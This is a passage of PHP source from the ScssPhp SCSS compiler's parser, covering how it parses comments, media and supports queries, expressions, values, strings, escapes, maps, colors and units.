                    $out         = null;

                    if ($this->interpolation($out)) {
                        // keep right spaces in the following string part
                        if ($out[3]) {
                            while ($this->buffer[$this->count - 1] !== '}') {
                                $this->count--;
                            }

                            $out[3] = '';
                        }

                        $comment[] = [Type::T_COMMENT, substr($this->buffer, $p, $this->count - $p), $out];
                    } else {
                        list($line, $column) = $this->getSourcePosition($this->count);
                        $file = $this->sourceName;
                        $this->logger->warn("Unterminated interpolations in multiline comments are deprecated and will be removed in ScssPhp 2.0, in \"$file\", line $line, column $column.", true);
                        $comment[] = substr($this->buffer, $this->count, 2);

                        $this->count += 2;
                    }

                    $p = strpos($this->buffer, '#{', $this->count);
                }

                // remaining part
                $c = substr($this->buffer, $this->count, $endCommentCount - $this->count);

                if (! $comment) {
                    // single part static comment
                    $this->appendComment([Type::T_COMMENT, $c]);
                } else {
                    $comment[] = $c;
                    $staticComment = substr($this->buffer, $startCommentCount, $endCommentCount - $startCommentCount);
                    $commentStatement = [Type::T_COMMENT, $staticComment, [Type::T_STRING, '', $comment]];

                    list($line, $column) = $this->getSourcePosition($startCommentCount);
                    $commentStatement[self::SOURCE_LINE] = $line;
                    $commentStatement[self::SOURCE_COLUMN] = $column;
                    $commentStatement[self::SOURCE_INDEX] = $this->sourceIndex;

                    $this->appendComment($commentStatement);
                }

                $this->commentsSeen[$startCommentCount] = true;
                $this->count = $endCommentCount;
            } else {
                // comment that are ignored and not kept in the output css
                $this->count += \strlen($m[0]);
                // silent comments are not allowed in plain CSS files
                ! $this->cssOnly
                  || ! \strlen(trim($m[0]))
                  || $this->assertPlainCssValid(false, $this->count - \strlen($m[0]));
            }

            $gotWhite = true;
        }

        return $gotWhite;
    }

    /**
     * Append comment to current block
     *
     * @param array $comment
     */
    protected function appendComment($comment)
    {
        if (! $this->discardComments) {
            $this->env->comments[] = $comment;
        }
    }

    /**
     * Append statement to current block
     *
     * @param array|null $statement
     * @param integer $pos
     */
    protected function append($statement, $pos = null)
    {
        if (! \is_null($statement)) {
            ! $this->cssOnly || ($statement = $this->assertPlainCssValid($statement, $pos));

            if (! \is_null($pos)) {
                list($line, $column) = $this->getSourcePosition($pos);

                $statement[static::SOURCE_LINE]   = $line;
                $statement[static::SOURCE_COLUMN] = $column;
                $statement[static::SOURCE_INDEX]  = $this->sourceIndex;
            }

            $this->env->children[] = $statement;
        }

        $comments = $this->env->comments;

        if ($comments) {
            $this->env->children = array_merge($this->env->children, $comments);
            $this->env->comments = [];
        }
    }

    /**
     * Returns last child was appended
     *
     * @return array|null
     */
    protected function last()
    {
        $i = \count($this->env->children) - 1;

        if (isset($this->env->children[$i])) {
            return $this->env->children[$i];
        }
    }

    /**
     * Parse media query list
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function mediaQueryList(&$out)
    {
        return $this->genericList($out, 'mediaQuery', ',', false);
    }

    /**
     * Parse media query
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function mediaQuery(&$out)
    {
        $expressions = null;
        $parts = [];

        if (
            ($this->literal('only', 4) && ($only = true) ||
            $this->literal('not', 3) && ($not = true) || true) &&
            $this->mixedKeyword($mediaType)
        ) {
            $prop = [Type::T_MEDIA_TYPE];

            if (isset($only)) {
                $prop[] = [Type::T_KEYWORD, 'only'];
            }

            if (isset($not)) {
                $prop[] = [Type::T_KEYWORD, 'not'];
            }

            $media = [Type::T_LIST, '', []];

            foreach ((array) $mediaType as $type) {
                if (\is_array($type)) {
                    $media[2][] = $type;
                } else {
                    $media[2][] = [Type::T_KEYWORD, $type];
                }
            }

            $prop[]  = $media;
            $parts[] = $prop;
        }

        if (empty($parts) || $this->literal('and', 3)) {
            $this->genericList($expressions, 'mediaExpression', 'and', false);

            if (\is_array($expressions)) {
                $parts = array_merge($parts, $expressions[2]);
            }
        }

        $out = $parts;

        return true;
    }

    /**
     * Parse supports query
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function supportsQuery(&$out)
    {
        $expressions = null;
        $parts = [];

        $s = $this->count;

        $not = false;

        if (
            ($this->literal('not', 3) && ($not = true) || true) &&
            $this->matchChar('(') &&
            ($this->expression($property)) &&
            $this->literal(': ', 2) &&
            $this->valueList($value) &&
            $this->matchChar(')')
        ) {
            $support = [Type::T_STRING, '', [[Type::T_KEYWORD, ($not ? 'not ' : '') . '(']]];
            $support[2][] = $property;
            $support[2][] = [Type::T_KEYWORD, ': '];
            $support[2][] = $value;
            $support[2][] = [Type::T_KEYWORD, ')'];

            $parts[] = $support;
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if (
            $this->matchChar('(') &&
            $this->supportsQuery($subQuery) &&
            $this->matchChar(')')
        ) {
            $parts[] = [Type::T_STRING, '', [[Type::T_KEYWORD, '('], $subQuery, [Type::T_KEYWORD, ')']]];
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if (
            $this->literal('not', 3) &&
            $this->supportsQuery($subQuery)
        ) {
            $parts[] = [Type::T_STRING, '', [[Type::T_KEYWORD, 'not '], $subQuery]];
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if (
            $this->literal('selector(', 9) &&
            $this->selector($selector) &&
            $this->matchChar(')')
        ) {
            $support = [Type::T_STRING, '', [[Type::T_KEYWORD, 'selector(']]];

            $selectorList = [Type::T_LIST, '', []];

            foreach ($selector as $sc) {
                $compound = [Type::T_STRING, '', []];

                foreach ($sc as $scp) {
                    if (\is_array($scp)) {
                        $compound[2][] = $scp;
                    } else {
                        $compound[2][] = [Type::T_KEYWORD, $scp];
                    }
                }

                $selectorList[2][] = $compound;
            }

            $support[2][] = $selectorList;
            $support[2][] = [Type::T_KEYWORD, ')'];
            $parts[] = $support;
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if ($this->variable($var) or $this->interpolation($var)) {
            $parts[] = $var;
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if (
            $this->literal('and', 3) &&
            $this->genericList($expressions, 'supportsQuery', ' and', false)
        ) {
            array_unshift($expressions[2], [Type::T_STRING, '', $parts]);

            $parts = [$expressions];
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if (
            $this->literal('or', 2) &&
            $this->genericList($expressions, 'supportsQuery', ' or', false)
        ) {
            array_unshift($expressions[2], [Type::T_STRING, '', $parts]);

            $parts = [$expressions];
            $s = $this->count;
        } else {
            $this->seek($s);
        }

        if (\count($parts)) {
            if ($this->eatWhiteDefault) {
                $this->whitespace();
            }

            $out = [Type::T_STRING, '', $parts];

            return true;
        }

        return false;
    }


    /**
     * Parse media expression
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function mediaExpression(&$out)
    {
        $s = $this->count;
        $value = null;

        if (
            $this->matchChar('(') &&
            $this->expression($feature) &&
            ($this->matchChar(':') &&
                $this->expression($value) || true) &&
            $this->matchChar(')')
        ) {
            $out = [Type::T_MEDIA_EXPRESSION, $feature];

            if ($value) {
                $out[] = $value;
            }

            return true;
        }

        $this->seek($s);

        return false;
    }

    /**
     * Parse argument values
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function argValues(&$out)
    {
        $discardComments = $this->discardComments;
        $this->discardComments = true;

        if ($this->genericList($list, 'argValue', ',', false)) {
            $out = $list[2];

            $this->discardComments = $discardComments;

            return true;
        }

        $this->discardComments = $discardComments;

        return false;
    }

    /**
     * Parse argument value
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function argValue(&$out)
    {
        $s = $this->count;

        $keyword = null;

        if (! $this->variable($keyword) || ! $this->matchChar(':')) {
            $this->seek($s);

            $keyword = null;
        }

        if ($this->genericList($value, 'expression', '', true)) {
            $out = [$keyword, $value, false];
            $s = $this->count;

            if ($this->literal('...', 3)) {
                $out[2] = true;
            } else {
                $this->seek($s);
            }

            return true;
        }

        return false;
    }

    /**
     * Check if a generic directive is known to be able to allow almost any syntax or not
     * @param mixed $directiveName
     * @return bool
     */
    protected function isKnownGenericDirective($directiveName)
    {
        if (\is_array($directiveName) && \is_string(reset($directiveName))) {
            $directiveName = reset($directiveName);
        }
        if (! \is_string($directiveName)) {
            return false;
        }
        if (
            \in_array($directiveName, [
            'at-root',
            'media',
            'mixin',
            'include',
            'scssphp-import-once',
            'import',
            'extend',
            'function',
            'break',
            'continue',
            'return',
            'each',
            'while',
            'for',
            'if',
            'debug',
            'warn',
            'error',
            'content',
            'else',
            'charset',
            'supports',
            // Todo
            'use',
            'forward',
            ])
        ) {
            return true;
        }
        return false;
    }

    /**
     * Parse directive value list that considers $vars as keyword
     *
     * @param array          $out
     * @param boolean|string $endChar
     *
     * @return boolean
     */
    protected function directiveValue(&$out, $endChar = false)
    {
        $s = $this->count;

        if ($this->variable($out)) {
            if ($endChar && $this->matchChar($endChar, false)) {
                return true;
            }

            if (! $endChar && $this->end()) {
                return true;
            }
        }

        $this->seek($s);

        if (\is_string($endChar) && $this->openString($endChar ? $endChar : ';', $out, null, null, true, ";}{")) {
            if ($endChar && $this->matchChar($endChar, false)) {
                return true;
            }
            $ss = $this->count;
            if (!$endChar && $this->end()) {
                $this->seek($ss);
                return true;
            }
        }

        $this->seek($s);

        $allowVars = $this->allowVars;
        $this->allowVars = false;

        $res = $this->genericList($out, 'spaceList', ',');
        $this->allowVars = $allowVars;

        if ($res) {
            if ($endChar && $this->matchChar($endChar, false)) {
                return true;
            }

            if (! $endChar && $this->end()) {
                return true;
            }
        }

        $this->seek($s);

        if ($endChar && $this->matchChar($endChar, false)) {
            return true;
        }

        return false;
    }

    /**
     * Parse comma separated value list
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function valueList(&$out)
    {
        $discardComments = $this->discardComments;
        $this->discardComments = true;
        $res = $this->genericList($out, 'spaceList', ',');
        $this->discardComments = $discardComments;

        return $res;
    }

    /**
     * Parse a function call, where externals () are part of the call
     * and not of the value list
     *
     * @param $out
     * @param bool $mandatoryEnclos
     * @param null|string $charAfter
     * @param null|bool $eatWhiteSp
     * @return bool
     */
    protected function functionCallArgumentsList(&$out, $mandatoryEnclos = true, $charAfter = null, $eatWhiteSp = null)
    {
        $s = $this->count;

        if (
            $this->matchChar('(') &&
            $this->valueList($out) &&
            $this->matchChar(')') &&
            ($charAfter ? $this->matchChar($charAfter, $eatWhiteSp) : $this->end())
        ) {
            return true;
        }

        if (! $mandatoryEnclos) {
            $this->seek($s);

            if (
                $this->valueList($out) &&
                ($charAfter ? $this->matchChar($charAfter, $eatWhiteSp) : $this->end())
            ) {
                return true;
            }
        }

        $this->seek($s);

        return false;
    }

    /**
     * Parse space separated value list
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function spaceList(&$out)
    {
        return $this->genericList($out, 'expression');
    }

    /**
     * Parse generic list
     *
     * @param array   $out
     * @param string  $parseItem The name of the method used to parse items
     * @param string  $delim
     * @param boolean $flatten
     *
     * @return boolean
     */
    protected function genericList(&$out, $parseItem, $delim = '', $flatten = true)
    {
        $s     = $this->count;
        $items = [];
        $value = null;

        while ($this->$parseItem($value)) {
            $trailing_delim = false;
            $items[] = $value;

            if ($delim) {
                if (! $this->literal($delim, \strlen($delim))) {
                    break;
                }

                $trailing_delim = true;
            } else {
                // if no delim watch that a keyword didn't eat the single/double quote
                // from the following starting string
                if ($value[0] === Type::T_KEYWORD) {
                    $word = $value[1];

                    $last_char = substr($word, -1);

                    if (
                        strlen($word) > 1 &&
                        in_array($last_char, [ "'", '"']) &&
                        substr($word, -2, 1) !== '\\'
                    ) {
                        // if there is a non escaped opening quote in the keyword, this seems unlikely a mistake
                        $word = str_replace('\\' . $last_char, '\\\\', $word);
                        if (strpos($word, $last_char) < strlen($word) - 1) {
                            continue;
                        }

                        $currentCount = $this->count;

                        // let's try to rewind to previous char and try a parse
                        $this->count--;
                        // in case the keyword also eat spaces
                        while (substr($this->buffer, $this->count, 1) !== $last_char) {
                            $this->count--;
                        }

                        $nextValue = null;
                        if ($this->$parseItem($nextValue)) {
                            if ($nextValue[0] === Type::T_KEYWORD && $nextValue[1] === $last_char) {
                                // bad try, forget it
                                $this->seek($currentCount);
                                continue;
                            }
                            if ($nextValue[0] !== Type::T_STRING) {
                                // bad try, forget it
                                $this->seek($currentCount);
                                continue;
                            }

                            // OK it was a good idea
                            $value[1] = substr($value[1], 0, -1);
                            array_pop($items);
                            $items[] = $value;
                            $items[] = $nextValue;
                        } else {
                            // bad try, forget it
                            $this->seek($currentCount);
                            continue;
                        }
                    }
                }
            }
        }

        if (! $items) {
            $this->seek($s);

            return false;
        }

        if ($trailing_delim) {
            $items[] = [Type::T_NULL];
        }

        if ($flatten && \count($items) === 1) {
            $out = $items[0];
        } else {
            $out = [Type::T_LIST, $delim, $items];
        }

        return true;
    }

    /**
     * Parse expression
     *
     * @param array   $out
     * @param boolean $listOnly
     * @param boolean $lookForExp
     *
     * @return boolean
     */
    protected function expression(&$out, $listOnly = false, $lookForExp = true)
    {
        $s = $this->count;
        $discard = $this->discardComments;
        $this->discardComments = true;
        $allowedTypes = ($listOnly ? [Type::T_LIST] : [Type::T_LIST, Type::T_MAP]);

        if ($this->matchChar('(')) {
            if ($this->enclosedExpression($lhs, $s, ')', $allowedTypes)) {
                if ($lookForExp) {
                    $out = $this->expHelper($lhs, 0);
                } else {
                    $out = $lhs;
                }

                $this->discardComments = $discard;

                return true;
            }

            $this->seek($s);
        }

        if (\in_array(Type::T_LIST, $allowedTypes) && $this->matchChar('[')) {
            if ($this->enclosedExpression($lhs, $s, ']', [Type::T_LIST])) {
                if ($lookForExp) {
                    $out = $this->expHelper($lhs, 0);
                } else {
                    $out = $lhs;
                }

                $this->discardComments = $discard;

                return true;
            }

            $this->seek($s);
        }

        if (! $listOnly && $this->value($lhs)) {
            if ($lookForExp) {
                $out = $this->expHelper($lhs, 0);
            } else {
                $out = $lhs;
            }

            $this->discardComments = $discard;

            return true;
        }

        $this->discardComments = $discard;

        return false;
    }

    /**
     * Parse expression specifically checking for lists in parenthesis or brackets
     *
     * @param array   $out
     * @param integer $s
     * @param string  $closingParen
     * @param array   $allowedTypes
     *
     * @return boolean
     */
    protected function enclosedExpression(&$out, $s, $closingParen = ')', $allowedTypes = [Type::T_LIST, Type::T_MAP])
    {
        if ($this->matchChar($closingParen) && \in_array(Type::T_LIST, $allowedTypes)) {
            $out = [Type::T_LIST, '', []];

            switch ($closingParen) {
                case ')':
                    $out['enclosing'] = 'parent'; // parenthesis list
                    break;

                case ']':
                    $out['enclosing'] = 'bracket'; // bracketed list
                    break;
            }

            return true;
        }

        if (
            $this->valueList($out) &&
            $this->matchChar($closingParen) && ! ($closingParen === ')' &&
            \in_array($out[0], [Type::T_EXPRESSION, Type::T_UNARY])) &&
            \in_array(Type::T_LIST, $allowedTypes)
        ) {
            if ($out[0] !== Type::T_LIST || ! empty($out['enclosing'])) {
                $out = [Type::T_LIST, '', [$out]];
            }

            switch ($closingParen) {
                case ')':
                    $out['enclosing'] = 'parent'; // parenthesis list
                    break;

                case ']':
                    $out['enclosing'] = 'bracket'; // bracketed list
                    break;
            }

            return true;
        }

        $this->seek($s);

        if (\in_array(Type::T_MAP, $allowedTypes) && $this->map($out)) {
            return true;
        }

        return false;
    }

    /**
     * Parse left-hand side of subexpression
     *
     * @param array   $lhs
     * @param integer $minP
     *
     * @return array
     */
    protected function expHelper($lhs, $minP)
    {
        $operators = static::$operatorPattern;

        $ss = $this->count;
        $whiteBefore = isset($this->buffer[$this->count - 1]) &&
            ctype_space($this->buffer[$this->count - 1]);

        while ($this->match($operators, $m, false) && static::$precedence[$m[1]] >= $minP) {
            $whiteAfter = isset($this->buffer[$this->count]) &&
                ctype_space($this->buffer[$this->count]);
            $varAfter = isset($this->buffer[$this->count]) &&
                $this->buffer[$this->count] === '$';

            $this->whitespace();

            $op = $m[1];

            // don't turn negative numbers into expressions
            if ($op === '-' && $whiteBefore && ! $whiteAfter && ! $varAfter) {
                break;
            }

            if (! $this->value($rhs) && ! $this->expression($rhs, true, false)) {
                break;
            }

            if ($op === '-' && ! $whiteAfter && $rhs[0] === Type::T_KEYWORD) {
                break;
            }

            // consume higher-precedence operators on the right-hand side
            $rhs = $this->expHelper($rhs, static::$precedence[$op] + 1);

            $lhs = [Type::T_EXPRESSION, $op, $lhs, $rhs, $this->inParens, $whiteBefore, $whiteAfter];

            $ss = $this->count;
            $whiteBefore = isset($this->buffer[$this->count - 1]) &&
                ctype_space($this->buffer[$this->count - 1]);
        }

        $this->seek($ss);

        return $lhs;
    }

    /**
     * Parse value
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function value(&$out)
    {
        if (! isset($this->buffer[$this->count])) {
            return false;
        }

        $s = $this->count;
        $char = $this->buffer[$this->count];

        if (
            $this->literal('url(', 4) &&
            $this->match('data:([a-z]+)\/([a-z0-9.+-]+);base64,', $m, false)
        ) {
            $len = strspn(
                $this->buffer,
                'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwyxz0123456789+/=',
                $this->count
            );

            $this->count += $len;

            if ($this->matchChar(')')) {
                $content = substr($this->buffer, $s, $this->count - $s);
                $out = [Type::T_KEYWORD, $content];

                return true;
            }
        }

        $this->seek($s);

        if (
            $this->literal('url(', 4, false) &&
            $this->match('\s*(\/\/[^\s\)]+)\s*', $m)
        ) {
            $content = 'url(' . $m[1];

            if ($this->matchChar(')')) {
                $content .= ')';
                $out = [Type::T_KEYWORD, $content];

                return true;
            }
        }

        $this->seek($s);

        // not
        if ($char === 'n' && $this->literal('not', 3, false)) {
            if (
                $this->whitespace() &&
                $this->value($inner)
            ) {
                $out = [Type::T_UNARY, 'not', $inner, $this->inParens];

                return true;
            }

            $this->seek($s);

            if ($this->parenValue($inner)) {
                $out = [Type::T_UNARY, 'not', $inner, $this->inParens];

                return true;
            }

            $this->seek($s);
        }

        // addition
        if ($char === '+') {
            $this->count++;

            $follow_white = $this->whitespace();

            if ($this->value($inner)) {
                $out = [Type::T_UNARY, '+', $inner, $this->inParens];

                return true;
            }

            if ($follow_white) {
                $out = [Type::T_KEYWORD, $char];
                return  true;
            }

            $this->seek($s);

            return false;
        }

        // negation
        if ($char === '-') {
            if ($this->customProperty($out)) {
                return true;
            }

            $this->count++;

            $follow_white = $this->whitespace();

            if ($this->variable($inner) || $this->unit($inner) || $this->parenValue($inner)) {
                $out = [Type::T_UNARY, '-', $inner, $this->inParens];

                return true;
            }

            if (
                $this->keyword($inner) &&
                ! $this->func($inner, $out)
            ) {
                $out = [Type::T_UNARY, '-', $inner, $this->inParens];

                return true;
            }

            if ($follow_white) {
                $out = [Type::T_KEYWORD, $char];

                return  true;
            }

            $this->seek($s);
        }

        // paren
        if ($char === '(' && $this->parenValue($out)) {
            return true;
        }

        if ($char === '#') {
            if ($this->interpolation($out) || $this->color($out)) {
                return true;
            }

            $this->count++;

            if ($this->keyword($keyword)) {
                $out = [Type::T_KEYWORD, '#' . $keyword];

                return true;
            }

            $this->count--;
        }

        if ($this->matchChar('&', true)) {
            $out = [Type::T_SELF];

            return true;
        }

        if ($char === '$' && $this->variable($out)) {
            return true;
        }

        if ($char === 'p' && $this->progid($out)) {
            return true;
        }

        if (($char === '"' || $char === "'") && $this->string($out)) {
            return true;
        }

        if ($this->unit($out)) {
            return true;
        }

        // unicode range with wildcards
        if (
            $this->literal('U+', 2) &&
            $this->match('\?+|([0-9A-F]+(\?+|(-[0-9A-F]+))?)', $m, false)
        ) {
            $unicode = explode('-', $m[0]);
            if (strlen(reset($unicode)) <= 6 && strlen(end($unicode)) <= 6) {
                $out = [Type::T_KEYWORD, 'U+' . $m[0]];

                return true;
            }
            $this->count -= strlen($m[0]) + 2;
        }

        if ($this->keyword($keyword, false)) {
            if ($this->func($keyword, $out)) {
                return true;
            }

            $this->whitespace();

            if ($keyword === 'null') {
                $out = [Type::T_NULL];
            } else {
                $out = [Type::T_KEYWORD, $keyword];
            }

            return true;
        }

        return false;
    }

    /**
     * Parse parenthesized value
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function parenValue(&$out)
    {
        $s = $this->count;

        $inParens = $this->inParens;

        if ($this->matchChar('(')) {
            if ($this->matchChar(')')) {
                $out = [Type::T_LIST, '', []];

                return true;
            }

            $this->inParens = true;

            if (
                $this->expression($exp) &&
                $this->matchChar(')')
            ) {
                $out = $exp;
                $this->inParens = $inParens;

                return true;
            }
        }

        $this->inParens = $inParens;
        $this->seek($s);

        return false;
    }

    /**
     * Parse "progid:"
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function progid(&$out)
    {
        $s = $this->count;

        if (
            $this->literal('progid:', 7, false) &&
            $this->openString('(', $fn) &&
            $this->matchChar('(')
        ) {
            $this->openString(')', $args, '(');

            if ($this->matchChar(')')) {
                $out = [Type::T_STRING, '', [
                    'progid:', $fn, '(', $args, ')'
                ]];

                return true;
            }
        }

        $this->seek($s);

        return false;
    }

    /**
     * Parse function call
     *
     * @param string $name
     * @param array  $func
     *
     * @return boolean
     */
    protected function func($name, &$func)
    {
        $s = $this->count;

        if ($this->matchChar('(')) {
            if ($name === 'alpha' && $this->argumentList($args)) {
                $func = [Type::T_FUNCTION, $name, [Type::T_STRING, '', $args]];

                return true;
            }

            if ($name !== 'expression' && ! preg_match('/^(-[a-z]+-)?calc$/', $name)) {
                $ss = $this->count;

                if (
                    $this->argValues($args) &&
                    $this->matchChar(')')
                ) {
                    $func = [Type::T_FUNCTION_CALL, $name, $args];

                    return true;
                }

                $this->seek($ss);
            }

            if (
                ($this->openString(')', $str, '(') || true) &&
                $this->matchChar(')')
            ) {
                $args = [];

                if (! empty($str)) {
                    $args[] = [null, [Type::T_STRING, '', [$str]]];
                }

                $func = [Type::T_FUNCTION_CALL, $name, $args];

                return true;
            }
        }

        $this->seek($s);

        return false;
    }

    /**
     * Parse function call argument list
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function argumentList(&$out)
    {
        $s = $this->count;
        $this->matchChar('(');

        $args = [];

        while ($this->keyword($var)) {
            if (
                $this->matchChar('=') &&
                $this->expression($exp)
            ) {
                $args[] = [Type::T_STRING, '', [$var . '=']];
                $arg = $exp;
            } else {
                break;
            }

            $args[] = $arg;

            if (! $this->matchChar(',')) {
                break;
            }

            $args[] = [Type::T_STRING, '', [', ']];
        }

        if (! $this->matchChar(')') || ! $args) {
            $this->seek($s);

            return false;
        }

        $out = $args;

        return true;
    }

    /**
     * Parse mixin/function definition  argument list
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function argumentDef(&$out)
    {
        $s = $this->count;
        $this->matchChar('(');

        $args = [];

        while ($this->variable($var)) {
            $arg = [$var[1], null, false];

            $ss = $this->count;

            if (
                $this->matchChar(':') &&
                $this->genericList($defaultVal, 'expression', '', true)
            ) {
                $arg[1] = $defaultVal;
            } else {
                $this->seek($ss);
            }

            $ss = $this->count;

            if ($this->literal('...', 3)) {
                $sss = $this->count;

                if (! $this->matchChar(')')) {
                    throw $this->parseError('... has to be after the final argument');
                }

                $arg[2] = true;

                $this->seek($sss);
            } else {
                $this->seek($ss);
            }

            $args[] = $arg;

            if (! $this->matchChar(',')) {
                break;
            }
        }

        if (! $this->matchChar(')')) {
            $this->seek($s);

            return false;
        }

        $out = $args;

        return true;
    }

    /**
     * Parse map
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function map(&$out)
    {
        $s = $this->count;

        if (! $this->matchChar('(')) {
            return false;
        }

        $keys = [];
        $values = [];

        while (
            $this->genericList($key, 'expression', '', true) &&
            $this->matchChar(':') &&
            $this->genericList($value, 'expression', '', true)
        ) {
            $keys[] = $key;
            $values[] = $value;

            if (! $this->matchChar(',')) {
                break;
            }
        }

        if (! $keys || ! $this->matchChar(')')) {
            $this->seek($s);

            return false;
        }

        $out = [Type::T_MAP, $keys, $values];

        return true;
    }

    /**
     * Parse color
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function color(&$out)
    {
        $s = $this->count;

        if ($this->match('(#([0-9a-f]+)\b)', $m)) {
            if (\in_array(\strlen($m[2]), [3,4,6,8])) {
                $out = [Type::T_KEYWORD, $m[0]];

                return true;
            }

            $this->seek($s);

            return false;
        }

        return false;
    }

    /**
     * Parse number with unit
     *
     * @param array $unit
     *
     * @return boolean
     */
    protected function unit(&$unit)
    {
        $s = $this->count;

        if ($this->match('([0-9]*(\.)?[0-9]+)([%a-zA-Z]+)?', $m, false)) {
            if (\strlen($this->buffer) === $this->count || ! ctype_digit($this->buffer[$this->count])) {
                $this->whitespace();

                $unit = new Node\Number($m[1], empty($m[3]) ? '' : $m[3]);

                return true;
            }

            $this->seek($s);
        }

        return false;
    }

    /**
     * Parse string
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function string(&$out, $keepDelimWithInterpolation = false)
    {
        $s = $this->count;

        if ($this->matchChar('"', false)) {
            $delim = '"';
        } elseif ($this->matchChar("'", false)) {
            $delim = "'";
        } else {
            return false;
        }

        $content = [];
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;
        $hasInterpolation = false;

        while ($this->matchString($m, $delim)) {
            if ($m[1] !== '') {
                $content[] = $m[1];
            }

            if ($m[2] === '#{') {
                $this->count -= \strlen($m[2]);

                if ($this->interpolation($inter, false)) {
                    $content[] = $inter;
                    $hasInterpolation = true;
                } else {
                    $this->count += \strlen($m[2]);
                    $content[] = '#{'; // ignore it
                }
            } elseif ($m[2] === "\r") {
                $content[] = chr(10);
                // TODO : warning
                # DEPRECATION WARNING on line x, column y of zzz:
                # Unescaped multiline strings are deprecated and will be removed in a future version of Sass.
                # To include a newline in a string, use "\a" or "\a " as in CSS.
                if ($this->matchChar("\n", false)) {
                    $content[] = ' ';
                }
            } elseif ($m[2] === '\\') {
                if (
                    $this->literal("\r\n", 2, false) ||
                    $this->matchChar("\r", false) ||
                    $this->matchChar("\n", false) ||
                    $this->matchChar("\f", false)
                ) {
                    // this is a continuation escaping, to be ignored
                } elseif ($this->matchEscapeCharacter($c)) {
                    $content[] = $c;
                } else {
                    throw $this->parseError('Unterminated escape sequence');
                }
            } else {
                $this->count -= \strlen($delim);
                break; // delim
            }
        }

        $this->eatWhiteDefault = $oldWhite;

        if ($this->literal($delim, \strlen($delim))) {
            if ($hasInterpolation && ! $keepDelimWithInterpolation) {
                $delim = '"';
            }

            $out = [Type::T_STRING, $delim, $content];

            return true;
        }

        $this->seek($s);

        return false;
    }

    /**
     * @param string $out
     * @param bool $inKeywords
     * @return bool
     */
    protected function matchEscapeCharacter(&$out, $inKeywords = false)
    {
        $s = $this->count;
        if ($this->match('[a-f0-9]', $m, false)) {
            $hex = $m[0];

            for ($i = 5; $i--;) {
                if ($this->match('[a-f0-9]', $m, false)) {
                    $hex .= $m[0];
                } else {
                    break;
                }
            }

            // CSS allows Unicode escape sequences to be followed by a delimiter space
            // (necessary in some cases for shorter sequences to disambiguate their end)
            $this->matchChar(' ', false);

            $value = hexdec($hex);

            if (!$inKeywords && ($value == 0 || ($value >= 0xD800 && $value <= 0xDFFF) || $value >= 0x10FFFF)) {
                $out = "\xEF\xBF\xBD"; // "\u{FFFD}" but with a syntax supported on PHP 5
            } elseif ($value < 0x20) {
                $out = Util::mbChr($value);
            } else {
                $out = Util::mbChr($value);
            }

            return true;
        }

        if ($this->match('.', $m, false)) {
            if ($inKeywords && in_array($m[0], ["'",'"','@','&',' ','\\',':','/','%'])) {
                $this->seek($s);
                return false;
            }
            $out = $m[0];

            return true;
        }

        return false;
    }

    /**
     * Parse keyword or interpolation
     *
     * @param array   $out
     * @param boolean $restricted
     *
     * @return boolean
     */
    protected function mixedKeyword(&$out, $restricted = false)
    {
        $parts = [];

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        for (;;) {
            if ($restricted ? $this->restrictedKeyword($key) : $this->keyword($key)) {
                $parts[] = $key;
                continue;
            }

            if ($this->interpolation($inter)) {
                $parts[] = $inter;
                continue;
            }

            break;
        }

        $this->eatWhiteDefault = $oldWhite;

        if (! $parts) {
            return false;
        }

        if ($this->eatWhiteDefault) {
            $this->whitespace();
        }

        $out = $parts;

        return true;
    }

    /**
     * Parse an unbounded string stopped by $end
     *
     * @param string  $end
     * @param array   $out
     * @param string  $nestOpen
     * @param string  $nestClose
     * @param boolean $rtrim
     * @param string $disallow
     *
     * @return boolean
     */
    protected function openString($end, &$out, $nestOpen = null, $nestClose = null, $rtrim = true, $disallow = null)
    {
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        if ($nestOpen && ! $nestClose) {
            $nestClose = $end;
        }

        $patt = ($disallow ? '[^' . $this->pregQuote($disallow) . ']' : '.');
        $patt = '(' . $patt . '*?)([\'"]|#\{|'
            . $this->pregQuote($end) . '|'
            . (($nestClose && $nestClose !== $end) ? $this->pregQuote($nestClose) . '|' : '')
            . static::$commentPattern . ')';

        $nestingLevel = 0;

        $content = [];

        while ($this->match($patt, $m, false)) {
            if (isset($m[1]) && $m[1] !== '') {
                $content[] = $m[1];

                if ($nestOpen) {
                    $nestingLevel += substr_count($m[1], $nestOpen);
                }
            }

            $tok = $m[2];

            $this->count -= \strlen($tok);

            if ($tok === $end && ! $nestingLevel) {
                break;
            }

            if ($tok === $nestClose) {
                $nestingLevel--;
            }

            if (($tok === "'" || $tok === '"') && $this->string($str, true)) {
                $content[] = $str;
                continue;
            }

            if ($tok === '#{' && $this->interpolation($inter)) {
                $content[] = $inter;
                continue;
            }

            $content[] = $tok;
            $this->count += \strlen($tok);
        }

        $this->eatWhiteDefault = $oldWhite;

        if (! $content || $tok !== $end) {
            return false;
        }

        // trim the end
        if ($rtrim && \is_string(end($content))) {
            $content[\count($content) - 1] = rtrim(end($content));
        }

        $out = [Type::T_STRING, '', $content];

        return true;
    }

    /**
     * Parser interpolation
     *
     * @param string|array $out
     * @param boolean      $lookWhite save information about whitespace before and after
     *
     * @return boolean
     */
    protected function interpolation(&$out, $lookWhite = true)
    {
